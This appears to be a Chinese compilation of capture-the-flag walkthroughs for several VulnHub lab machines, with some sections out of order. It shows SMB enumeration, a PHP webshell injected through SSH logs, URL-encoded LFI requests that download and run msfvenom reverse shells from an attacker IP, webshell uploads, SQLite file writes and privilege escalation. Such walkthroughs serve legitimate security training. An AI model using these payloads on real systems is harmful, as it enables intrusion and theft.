| Enumerating Workgroup/Domain on 192.168.0.100 |
=====================================================
[+] Got domain/workgroup name: WORKGROUP
=============================================
| Nbtstat Information for 192.168.0.100 |
=============================================
Looking up status of 192.168.0.100
LAZYSYSADMIN <00> - B <ACTIVE> Workstation Service
LAZYSYSADMIN <03> - B <ACTIVE> Messenger Service
LAZYSYSADMIN <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
======================================
| Session Check on 192.168.0.100 |
======================================
[+] Server 192.168.0.100 allows sessions using username '', password ''
============================================
| Getting domain SID for 192.168.0.100 |
============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================
| OS information on 192.168.0.100 |
=======================================
[+] Got OS info for 192.168.0.100 from smbclient:
[+] Got OS info for 192.168.0.100 from srvinfo:
LAZYSYSADMIN Wk Sv PrQ Unx NT SNT Web server
platform_id : 500
os version : 6.1
server type : 0x809a03
==============================
| Users on 192.168.0.100 |
==============================
==========================================
| Share Enumeration on 192.168.0.100 |
==========================================
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
share$ Disk Sumshare
IPC$ IPC IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
[+] Attempting to map shares on 192.168.0.100
//192.168.0.100/print$ Mapping: DENIED, Listing: N/A
//192.168.0.100/share$ Mapping: OK, Listing: OK
//192.168.0.100/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=====================================================
| Password Policy Information for 192.168.0.100 |
=====================================================
[+] Attaching to 192.168.0.100 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] LAZYSYSADMIN
[+] Builtin
[+] Password Info for Domain: LAZYSYSADMIN
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
===============================
| Groups on 192.168.0.100 |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on 192.168.0.100 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-22-1
windows下获取共享资源
linux下获取共享资源
[I] Found new SID: S-1-5-21-2952042175-1524911573-1237092750
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
S-1-5-32-1001 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\togie (Local User)
[+] Enumerating users using SID S-1-5-21-2952042175-1524911573-1237092750 and logon username '',
password ''
S-1-5-21-2952042175-1524911573-1237092750-500 *unknown*\*unknown* (8)
S-1-5-21-2952042175-1524911573-1237092750-501 LAZYSYSADMIN\nobody (Local User)
S-1-5-21-2952042175-1524911573-1237092750-512 *unknown*\*unknown* (8)
S-1-5-21-2952042175-1524911573-1237092750-513 LAZYSYSADMIN\None (Domain Group)
S-1-5-21-2952042175-1524911573-1237092750-514 *unknown*\*unknown* (8)
==============================================
| Getting printer info for 192.168.0.100 |
==============================================
No printers returned.
enum4linux complete on Thu Feb 1 00:46:33 2018
net use k: \\192.168.0.100\share$
mount -t cifs -o username='',password='' //192.168.0.100/share$ /mnt
发现两个关键的文件deets.txt和wp-config.php
尝试用上面获取的mysql账号密码去登录phpmyadmin,但是发现没一个表项可以查看。
5
另外,上面还有一个密码是12345,而且之前登录WordPress页面的时候,页面显示 My name is togie. ,所以可
以用账号: togie 密码: 12345 尝试登录ssh,发现可以成功登录。
有了root权限,就有权限查看目标文件/root/proof.txt,这样就算完成了整个游戏了。这里刚好togie有root权限,
所以尝试直接用sudo su切换到root权限,但是如果togie没有root权限,就需要通过其他方式来提权了。
togie@LazySysAdmin:~$ whoami
togie
togie@LazySysAdmin:~$ id
uid=1000(togie) gid=1000(togie)
groups=1000(togie),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
togie@LazySysAdmin:~$ sudo su
[sudo] password for togie:
root@LazySysAdmin:/home/togie# id
uid=0(root) gid=0(root) groups=0(root)
思路二
通过账号: Admin 密码: TogieMYSQL12345^^ 登录WordPress控制面板,向404.php页面模板插入PHP反弹shell
的代码。
编辑好后,点击下面的upload file应用,然后访问http://192.168.0.100/wordpress/?p=2
出现no tty present and no askpass program specified,刚好目标机有python环境,使用python派生个新的
shell。
但是不知道www-data的密码,所以接下来就要进行提权,先来看一下目标机的详细信息
root@kali:~# nc -vlp 1234
listening on [any] 1234 ...
192.168.0.100: inverse host lookup failed: Unknown host
connect to [192.168.0.109] from (UNKNOWN) [192.168.0.100] 36468
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
i686 i686 GNU/Linux
16:03:42 up 6 min, 0 users, load average: 0.01, 0.15, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo su
sudo: no tty present and no askpass program specified
python -c 'import pty; pty.spawn("/bin/sh")'
所以用CVE-2017-1000112提权即可,但是目标机上没有gcc,这种情况,可以本地搭建和目标机一样的环境,在本
地编译好提权exp后,在目标机器上运行即可。
dirb安装方法(kali已自带)
参考链接:
VulnHub Walk-through – LazySysAdmin: 1
LazySysAdmin Vulnerable Machine Walk-through
第六节 Freshly
Vulnhub-TopHatSec: Freshly
靶机简介
下载链接
https://download.vulnhub.com/tophatsec/Freshly.ova
运行环境
Virtualbox
VM(运行会提示错误,给的解决链接已经404)
本靶机推荐使用Virtualbox搭建
说明
$ uname -r
4.4.0-31-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz
cd dirb222/
apt-get install libcurl4-gnutls-dev
./configure && make
./dirb #运行即可
此靶机的目标是通过网络渗透进主机,并找到隐藏在敏感文件中的秘密。
运行环境
将下载的OVA文件导入进Virtualbox即可。
渗透思路
服务发现
端口扫描
操作系统识别
主要端口进一步扫描
80端口
8080
发现8080和443端口均为Web,使用了WordPress。
检测已知服务
对wordpress进行扫描
发现三个插件有安全问题,但是对进一步渗透帮助不大。在扫描同时,使用 nikto 对80进行目录扫描,发现
phpmyadmin和login.php
login.php
Sqlmap进行检测
存在注入
查看数据库
查看WordPress8080库找到wordpress的用户名和密码
登入后台,修改语言为中文
获取shell
wordpress有两种方式拿shell,一种是添加插件,将准备好的格式正确的shell添加到.zip上传。
还有一种是直接编辑
这里采用直接编辑的方式getshell。将shell写入404页面
本地开NC监听
访问404页面 Shell反弹
查看passwd
第七节 FristiLeaks v1.3
靶机信息
下载连接
https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent https://download.vulnhub.com/fristilea
ks/FristiLeaks_1.3.ova
运行环境
Virtualbox (二选一)
Vnware Workstation player
设置
根据官网提供的说明,首先要将要求设置VMware虚拟机的MAC地址 08:00:27:A5:A6:76
然后开启VM
主机发现
Netdiscover –r 10.10.10.0/24
可以发现目标主机在10.10.10.132的位置
服务发现
nmap -sS -Pn -T4 -p- 10.10.10.132
可以看到打开了80端口,service为HTTP
详细扫描80端口
仅发现开放了80端口,对80端口进行详细探测:
nmap -A -O -p80 10.10.10.132
得到以下有价值的信息:
浏览一下web站点
根据nmap扫描的结果存在 robots.txt 文件,查看一下:
访问以下 robots.txt 提到的三个路径
三个目录内容相同,只有以上画面。
接着,枚举一下目录:
dirb http://10.10.10.132
Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
http-robots.txt: 3 disallowed entries
在 images 目录发现几张照片:
查看图片, keep-calm 似乎是一个提示
KEEP CALM AND DRINK FRISTI
尝试访问 http://10.10.10.132/fristi/
发现一个登陆口。登录界面存在一个严重安全问题,两个输入框都有自动完成的功能。(包括密码)
扫描一下该目录:
dirb http://10.10.10.132/fristi/
发现了 upload 目录的index页面
查看源代码发现线索:
注释当中的信息表明,此页面是一个叫eezeepz的人留下来的。
推测, eezeepz 或许是账号或者密码
继续向下,发现一大块用base64编码的字符串
复制,写入一个文件,之后使用命令解码:
base64 -d /tmp/encoded.txt
根据文件格式,这是一个PNG格式的图画,保存为PNG格式
base64 -d /tmp/encoded.txt > decoded.png
查看发现一串字符串
尝试使用以上获取的信息进行登录:
登陆成功,发现文件上传。此上传点未做任何过滤,可以直接上传shell文件。
反弹Shell的脚本木马可以在这里下载:http://pentestmonkey.net/tools/web-shells/php-reverse-shell
修改反弹shell的ip地址和监听端口。
使用 nc 监听端口:
nc -nlvp 8888
根据回显,只有png, jpg, gif 能上传
修改一下文件名,后缀加上 .jpg
username:eezeepz
password:keKkeKKeKKeKkEkkEk
cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php
上传成功,打开上传的shell:
现在已经得到了一个低端权限
权限提升
翻看一下目录,在 home 目录
看到关键人物eezeepz的家目录
在 notes.txt 当中得到提示:
根据提示说明,在/tmp下创建一个 runtis 文件
赋予权限
根据 notes.txt 的提示,在 /tmp/runtis 当中写入的命令会定时执行,那么,修改 /home/admin 目录的权限。
等待系统执行命令之后,就可以阅读 /home/admin 下的内容了
有几个文件。依次看一下。
cryptpass.py
Cryptepass.txt
whoisyourgodnow.txt
看样子应该是用了py文件去加密的。 重写一下文件:
解密试试
分别得到
这有可能是用户fristgod 的密码,组合试试
根据报错信息,查了资料: 跟 su 命令的实现有关; B环境上su的实现应该是判断标准输入是不是tty ; 而A环境上
su的实现则允许从其他文件读取密码。
解决方法如下:
1.mVGZ3O3omkJLmy2pcuTq :thisisalsopw123
2.=RFn0AKnlMHMPIzpyuTI0ITG :LetThereBeFristi!
Python -c 'import pty;pty.spawn("/bin/sh")'
接下来就可以正常使用了。
查看一下目录文件:
查看 .secret_admin_stuff 目录文件:
发现这个是个root的文件 权限应该是不够的
查看命令使用记录, history 命令执行结果:
可以看到 fristigod 用户一直sudo来执行命令
尝试输入之前得到的两个密码:
成功登陆:
使用 sudo 提升权限,并创建一个shell:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
直接查看/root下的文件
读取flag文件,得到flag
第八节 The Ether
靶机信息
下载链接
http://www.mediafire.com/file/502nbnbkarsoisb/theEther.zip
运行环境
本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行 vmx 文件即可
靶机:本靶机默认使用了自动获取的上网模式。运行靶机之后,将会桥接到物理网卡,接入网络。
攻击机:Kali虚拟机运行于virtualbox,同样使用桥接模式,即可访问靶机。
靶机说明
本靶机有一定难度,不适合初学者。
本靶机的渗透目标为渗透进靶机并且找到系统中隐藏的Flag值。
官方提供了一个提示:靶机中有一个相关的文件,在渗透过程中发挥重要作用,但是不要浪费时间试图去解密这个
混淆后的文件。
信息收集
ip发现
首先看一下Kali的网络配置。
之后使用fping发现靶机。 fping -asg 192.168.1.0/24 发现有本网段有四个相关IP。
端口扫描与服务识别
使用nmap快速扫描选项( -F 参数)扫描 192.168.1.0/24 网段
根据 Mac 可以很明显的区分, 192.168.1.1 为TP-Link路由器, 192.168.1.100 为苹果设备, 192.168.1.101 为
VMware虚拟机。可以确定 192.168.1.101 为目标靶机的IP。
确定目标IP之后,使用Nmap对目标进行更加详细的探测: nmap -A -v 192.168.1.101 -oN nmap.txt
解释一下相关参数:
-A 详细扫描目标IP,加载所有脚本,尽可能全面的探测信息;
-v 显示详细的扫描过程;
-oN 将扫描结果以普通文本的格式输出到 nmap.txt 。
结果如下:
威胁建模
分析nmap的扫描结果,发现靶机只开放了 22 和 80 端口,系统为 Ubuntu 。 22 端口为 SSH 服务, 80 端口为
http 服务,Web容器为 Apache/2.4.18 。
通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用niktoWeb漏洞扫描器
使用nikto工具扫描Web漏洞, nikto -h 192.168.1.101 , -h 参数指定扫描目标。
没有发现什么明显的高危漏洞,发现了 images 目录和 /icons/README 文件,没有什么利用价值。
2. 使用dirb扫描网站目录
dirb http://192.168.1.101
除了部分静态文件,没有发现有价值的利用点。
3. 浏览网站功能
根据前两步基本的信息探测,并没有发现漏洞点。手动访问网站,分析网站功能。
点击 ABOUT US 链接后,发现URL为: http://192.168.1.101/?file=about.php ,存在任意文件包含的可能。
4. 文件包含漏洞测试
为了直观的看到测试结果,这里使用Burpsuite处理http请求。
通过尝试包含Linux系统的配置文件,发现存在一定的限制。
如:包含 /etc/passwd 发现没有结果。
之后测试了几个常见的Apache日志的路径:
均无结果。
猜测可能是更改了配置文件的路径,尝试读Apache2的配置文件, /etc/apache2/apache2.conf ,发现也是失败。
尝试通过php伪协议读取php文件源码,也无果。
file=php://filter/convert.base64-encode/resource=index.php
根据之前整理的文件包含漏洞笔记利用思路:
结合之前信息探测的结果,靶机只开通了 http 与 ssh 服务。Apache的日志包含失败,尝试包含ssh的登陆日志。
成功读到ssh的登陆日志。
获取shell
1. 获取一句话Webshell
使用一句话作为用户名登陆靶机的ssh。
ssh '<?php eval($_GET['f']); ?>'@192.168.1.101
SSH的日志会记录此次登陆行为,这样就可以把一句话写入ssh的日志文件。测试一下是否成功:
可以看到一句话已经成功写入。
2. msfvenom生成Meterpreter shell
平时使用Msf比较多,这里也以Msf作为接下来主要的渗透工具。
首先生成Linux平台的shell程序。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf > shell.elf
3. Metasploit 设置监听
4. 种植Meterpreter shell
首先使用Python搭建一个简单的Web Server: python -m SimpleHTTPServer 80
之后利用前面获得的一句话,执行命令,下载生成的木马,并且运行。
分别发送以下请求:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.102
exploit
1. /?file=/var/log/auth.log&f=system('wget+192.168.1.102/shell.elf')%3b
2. /?file=/var/log/auth.log&f=system('chmod+%2bx+shell.elf')%3b
3. /?file=/var/log/auth.log&f=system('./shell.elf')%3b
注意:
1. 因为要执行的命令里面有空格、加号等符号,要将payload进行urlencode之后才可以正常执行。
2. 因为生成的木马文件没有执行权限,下载到靶机后也无法执行,所以需要先给 shell.elf 添加执行权限,之
后再执行。
执行结果:
Web Server及msf的结果:
提升权限
Linux提权的基本思路:
1. 溢出提权
现在拿到了目标靶机的Meterpreter shell,简单的看下信息。
发现系统为 Ubuntu 16.04 (Linux 4.10.0-40-generic) ,前段时间爆了Ubuntu16.04提权的exp,在这里试一试。
exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
提权失败。
2. 使用msf提权
use post/multi/recon/local_exploit_suggester
没有发现可以利用的提权漏洞。
3. 错误的SUID文件提权
进入交互式shell,派生一个bash的shell: python -c 'import pty;pty.spawn("/bin/bash")'
在Web的目录中发现了 xxxlogauditorxxx.py ,这是不应该存在的,猜测是题目所指的特殊文件,而且该文件特别
大。
运行一下该py文件,发现是审计日志的程序。 查看Apache2的日志文件,发现是执行了 cat 命令,但是因为权限
不够,没有执行成功。
仔细查看py文件的权限,发现具有SUID的权限,且文件所属用户为root。
sudo --list 查看一下用户权限。
发现可以不使用密码即可以root权限运行该py文件。这就好办多了。
该py文件的配置错误,导致可以直接以root权限执行命令。
接下来拿root权限的shell。
4. 获取root权限的shell
因为之前已经上传了Msfvenom生成的马,这里再次使用。首先退出 shell , background 命令调入后台,然后再
次开启监听,并且置于后台。
利用发现的特殊文件以root权限运行msf木马。
运行py之后,显示出现问题,不过不影响运行木马。
进入session 2的shell,查看权限:
获取flag
在root的家目录发现了 flag.png 文件:
下载到本地进行分析:
推测接下来的考点属于图片隐写。
经过分析,在图片文件的末尾发现了一串base64
将base64写入 flag.txt ,进行解码后get flag:
cat flag | base64 -d
靶场思路回顾
至此,已经完成最终目标,回头分析一下之前几个失败的点。
1. Web方面利用失败原因
首先看一下index.php的核心代码:
sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf
<?php
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
if ($file == "/var/log/auth.log") {
header("location: index.php");
}
else{
include($file);
}
可以看到 index.php 将一些关键词置空了。
所以,之前利用不成功的点原因如下:
伪协议读文件失败
过滤了 php: 且大小写敏感,故不能使用伪协议读文件。
读取配置文件、passwd文件等失败
过滤了 etc ,无法读取任何配置文件
读取Apache访问日志失败。
因权限问题, www-data 用户无法写入和读取Apache的日志文件。故,包含Apache日志失败。
2. 系统方面利用失败原因
溢出提权失败
通过分析报错,原因可能是因为靶机系统为32位,但exp只支持64位系统。
思路总结
突破点总结:
1. PHP本地文件包含漏洞发现
2. SSH日志写入一句话
3. 利用LFI和SSH日志getshell
4. MSF生成木马,利用一句话植入、运行
5. 利用错误配置SUID程序提权
在完成这次靶场的过程中,可以有很多发散的思路,比如:
1. 文件包含漏洞,可以使用字典Fuzz一下各种配置文件。
2. 使用NC或者其他反弹shell的姿势反弹shell。
此外,Metasploit Framework有很多方便实用的功能,如果能够掌握,会大大简化渗透的某些步骤,值得深入学
习。
总体来说,此靶场设计比较简单。一个Web,一个SSH,利用点无非这两个,思路比较清晰,便于实践者完成该靶
场。
第九节 zico2
靶机信息
下载链接
https://download.vulnhub.com/zico/zico2.ova
include($file);
?>
运行环境
本靶机提供了OVA格式的镜像,官方推荐使用virtualbox,从Vulnhub下载之后,导入到viirtualbox即可运
行。
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机说明
本靶机的难度为中等。
本靶机的渗透目标为渗透进靶机,拿到root权限,并读取flag文件。
官方提供了一个提示:枚举、枚举、枚举。
信息收集
ip发现
首先看一下Kali的网络配置。
之后使用nmap发现靶机。 nmap -sP 192.168.1.0/24 发现有本网段有四个相关IP。
端口扫描与服务识别
使用nmap快速扫描选项( -F 参数)扫描 192.168.1.0/24 网段
根据 Mac 可以很明显的区分, 192.168.1.3 为运行在VirtualBox上的虚拟机,即我们构建的靶机。
确定目标IP之后,使用Nmap对目标进行更加详细的探测: nmap -A -v 192.168.1.3 -oN nmap.txt
解释一下相关参数:
-A 详细扫描目标IP,加载所有脚本,尽可能全面的探测信息;
-v 显示详细的扫描过程;
-oN 将扫描结果以普通文本的格式输出到 nmap.txt 。
结果如下:
威胁建模
分析nmap的扫描结果,发现靶机开放了 22 和 80 , 111 端口,系统为 Linux 。 22 端口为 SSH 服务, 80
端口为 http 服务,Web容器为 Apache/2.2.22 。
通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用dirb扫描网站目录
dirb http://192.168.1.3
发现敏感目录 dbadmin
2. 目录遍历漏洞
访问 http://192.168.1.3/dbadmin/ ,发现目录遍历了,同时存在 test_db.php 文件。
3. 弱口令
访问 http://192.168.1.3/dbadmin/test_db.php ,发现是类似于MySQL的phpmyadmin,靶机的这个是sqlite的
网页版管理。
尝试弱口令 admin 即可进入。
4. phpLiteAdmin的信息收集
查看原有的数据库,发现里面存在两个账号,使用somd5.com 解密。
得到以下信息:
5. 文件包含漏洞
浏览网站功能,发现一个连接为:http://192.168.1.3/view.php?page=tools.html
猜测存在文件包含漏洞。经过尝试,可以成功包含Linux的passwd文件。
获取Webshell
1. 尝试通过新建数据库getshell
Sqlite数据库一般应用在很多嵌入式设备当中,属于单文件的数据库,类似于Access数据库。这里尝试新建一个名
为 shell.php 的数据库文件,对应的会生成shell.php的一个文件。但是观察到数据库文件的路径
在 /usr/databases/test_users
那么,尝试新建一个数据库名为 ../../var/www/html/shell.php 。
新建成功,但是发现过滤掉了 / 。此方法失败,但留作记录,算是一个突破点。
2. 尝试导出文件getshell
payload: ATTACH DATABASE '/var/www/html/shell.php' AS test ;create TABLE test.exp (dataz text) ;
insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');
通过这种方式写文件,适用于以下场景:
1. 可直接访问数据库执行SQL语句。
2. 堆叠查询选项启用(默认关闭)
执行失败,放弃这个点。
3. 利用phpliteadmin和文件包含漏洞getshell
经过前期的尝试,发现了文件包含漏洞和数据库权限。两者结合,即可getshell。方法如下:
1. 通过phpliteadmin新加一条数据,写入数据库文件。
root 34kroot34
zico zico2215@
2. 利用文件包含漏洞包含数据库文件getshell。
4. 种植Meterpreter shell
首先生成一个msf的可执行木马。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f elf > ~/Desktop/msf.elf
之后使用Python搭建一个简单的Web Server: python -m SimpleHTTPServer 80
之后利用前面获得的一句话,执行命令,下载生成的木马,并且运行。
下载木马: x=system('wget http://192.168.1.4:9999/msf.elf');
之后 x=system('ls'); 发现并没有保存,推测是因为权限问题。那么,直接下载到 /tmp 目录
x=system('wget http://192.168.1.4:9999/msf.elf -O /tmp/msf.elf');
查看一下:
之后添加执行权限并且运行。
结果如下:
提升权限
Linux提权的基本思路:
1. 使用msf提权
use post/multi/recon/local_exploit_suggester
没有发现可以利用的提权漏洞。
2. 溢出提权
现在拿到了目标靶机的Meterpreter shell,简单的看下信息。
发现系统为 Ubuntu 12.04 (Linux 3.2.0-23-generic) 。到 www.exploit-db.com 搜索对应的exp。
这里使用第二个EXP。地址为: https://www.exploit-db.com/exploits/33589/
x=system('chmod +x /tmp/msf.elf');
x=system('/tmp/msf.elf');
使用方法:
首先使用Meterpreter的shell把C代码写入:
进入shell,使用Python spawn一个shell。 python -c 'import pty;pty.spawn("/bin/bash")' 。
之后编译执行exp。
获取flag
在root的家目录发现了 flag.txt 文件:
靶场思路回顾
至此,已经完成最终目标,回头分析一下之前几个失败的点。
1. 使用phpliteadmin写马失败原因
发现网站的根目录为 /var/www 而不是 /var/www/html ,其次 www 目录的权限问题,不能直接写shell。
但是 /var/www/ 下的其他目录,权限设置的非常大,可以直接写shell。
2.再次利用phpliteadmin写马尝试getshell
在以上基础上,我们知道了网站的绝对路径,且网站目录的其他文件夹权限设置有问题。
尝试写shell:
成功写入:
思路总结
突破点总结:
1. phpliteadmin登陆弱口令
2. 通过phpliteadmin向数据库文件写入一句话木马
3. 利用LFI和数据库文件getshell
4. MSF生成木马,利用一句话寻找可写目录植入、运行
5. 利用系统漏洞提权为root
在完成这次靶场的过程中,可以有很多发散的思路,比如:
1. 文件包含漏洞,可以使用字典Fuzz一下各种配置文件和日志文件。比如通过包含SSH日志的方式getshell。
2. Fuzz一下网站的绝对路径,利用phpliteadmin写shell。
总体来说,此靶场很有意思。既考察了Web基本的漏洞、phpliteadmin的组合利用,也考察了目录权限设置的知
识点。可以有多种方式完成,可玩性高。
第十节 Quaoar
靶机信息
下载链接
https://download.vulnhub.com/hackfest2016/Quaoar.ova
运行环境
本靶机提供了OVA格式的镜像,官方推荐使用virtualbox,从Vulnhub下载之后,导入到viirtualbox即可运
行。
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机说明
本靶机的难度为初学者。
本靶机的渗透目标为渗透进靶机,找到flag,并拿到root权限。
作者推荐工具 nmap dirb / dirbuster / BurpSmartBuster nikto wpscan hydra
信息收集
ip发现
首先看一下Kali的网络配置。
靶机IP机器直接说明
端口扫描与服务识别
确定目标IP之后,使用Nmap对目标进行更加详细的探测: nmap -A -v 192.168.1.3 -oN nmap.txt
解释一下相关参数:
-A 详细扫描目标IP,加载所有脚本,尽可能全面的探测信息;
-v 显示详细的扫描过程;
-oN 将扫描结果以普通文本的格式输出到 nmap.txt 。
结果如下:
威胁建模
分析nmap的扫描结果,发现靶机开放了 22 和 80 端口,系统为 Linux 。 22 端口为 SSH 服务, 80 端口为
http 服务,Web容器为 Apache/2.2.22 。
通常Web会存在各种各样的问题,经过初步分析,以Web作为初步的渗透入口。
Web漏洞挖掘
1. 使用dirb扫描网站目录
dirb http://172.19.0.182
发现robots.txt,upload目录,wordpress目录。
查看robots.txt,指向的也是wordpress目录
2. 弱口令
利用wpscan进行扫描
尝试弱口令 admin admin 即可进入。
获取Webshell
1. 尝试通过修添加获得shell
cp /usr/share/webshells/php/php-reverse-shell.php shelly.php
对shell进行修改,然后本地开NC进行监听,访问一个不存在的页面,得到shell
利用python获得一个新shell
`python -c 'import pty; pty.spawn("/bin/bash")'
在该权限下,获取第一个shell
提升权限
1. 查看应用密码尝试弱口令
wpscan -u http://172.19.0.182/wordpress --wp-content-dir wp-content --enumerate u
[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
+----+--------+--------+
| Id | Login | Name |
+----+--------+--------+
| 1 | admin | admin |
| 2 | wpuser | wpuser |
+----+--------+--------+
[!] Default first WordPress username 'admin' is still used
[+] Finished: Fri Jul 6 22:13:24 2018
[+] Requests Done: 62
[+] Memory used: 63.867 MB
[+] Elapsed time: 00:00:05
查看wordpress的配置文件
发现root的账号密码
得到root权限
拿到另一个flag
第十一节 SickOs 1.1
靶机信息
下载链接
https://download.vulnhub.com/sickos/sick0s1.1.7z
运行环境
本靶机提供了OVF格式的镜像,官方推荐使用VMware Workstation,从Vulnhub下载之后,导入到VMware
Workstation即可运行。
靶机:NAT自动获取IP。
攻击机:NAT自动获取IP:192.168.202.128。
靶机说明
本靶机目的是拿到root权限,读取/root/a0216ea4d51874464078c618298b1367.txt文件。
信息收集
ip发现
靶机所处网段是192.168.202.1/24,使用nmap扫描获取靶机IP:192.168.202.133。
端口扫描与服务识别
对该IP全端口扫描如下:
发现使用squid代理。尝试设置浏览器代理,访问http://192.168.202.133/:
初
步得到结果是通过挂代理对靶机IP进行漏洞挖掘。
Web漏洞挖掘
设置代理进行目录爆破:
访问robots.txt:
发现是wolfcms,前台都是一些静态页面,无可利用点。
默认地址http://192.168.202.133/wolfcms/?/admin/进入管理后台:
尝试使用admin/admin弱口令进入后台,从提示信息可以看出cms版本<0.8.3.1,可能存在文件上传漏洞:
获取webshell
思路一
后台可以上传任意后缀文件,上大马,获取webshell:
直接读取文件发现权限不够,没有回显:
查看开放的端口,发现3306开启,但是发现mysql版本大于5.1,无法udf提权:
利用大马功能反弹shell:
思路二
扫描目录时还发现了cgi-bin目录,通过百度发现可能存在bash漏洞可以直接getshell。利用nc反弹shell。
提升权限
尝试使用su切换用户或者sudo直接查看文件,发现没权限:
进入网站部署的目录:
发现有配置文件,运气好可能有存储明文用户密码:
使用获取的用户密码连接数据库失败,尝试用对应密码进行root登录失败。
查看系统的其他用户,发现sickos账户很特别:
用户名:sickos,密码:john@123登录成功。
sudo命令查看文件:
思路总结
1.利用文件上传漏洞或者bash漏洞获取系统shell。
2.部署的网站可能会存储数据库等明文用户密码,可以加以利用。
第十二节 BSides-Vancouver-2018-Workshop
靶机信息
下载链接
https://download.vulnhub.com/bsidesvancouver2018/BSides-Vancouver-2018-Workshop.ova
靶机说明
靶机用ValualBox创建,目标是在其上获得root级访问。
目标
Boot to root:获得root权限和Flag。
运行环境
靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),或者将虚拟机、Kali机都桥
接到物理机的无线网卡。测试中使用VMWare导入虚机会无法获得IP,使用ValualBox可正常获得IP。
攻击机:同网段下有Windows攻击机(物理机),安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、
Hydra、Python2.7、DirBuster、AWVS、Nessus等渗透工具。同样可使用Kali Linux作为攻击机,预装了全
面的渗透工具。
信息收集
IP识别
启动虚拟机,使用nmap扫描C段IP nmap -sP 192.168.56.0/24 获得虚机IP 192.168.56.101
端口和服务识别
Nmap命令: nmap -p1-65535 -open -A 192.168.56.101 -oN BSides.txt
汇总开放的端口和服务:
端口 服务 提示信息
21 FTP vsftpd2.3.5 允许匿名登录
22 ssh OpenSSH 5.9p1
80 http Apache httpd 2.2.22 (Ubuntu)
漏洞挖掘
渗透方法一:
0x01 匿名登录FTP获得用户
Windows下使用XFTP匿名登录FTP:在public目录下,找到users.txt.bk文件,用记事本打开:
获得5个用户名:abatchy,john,mai,anne,doomguy
0x02 用5个用户名加弱口令字典进行ssh暴破
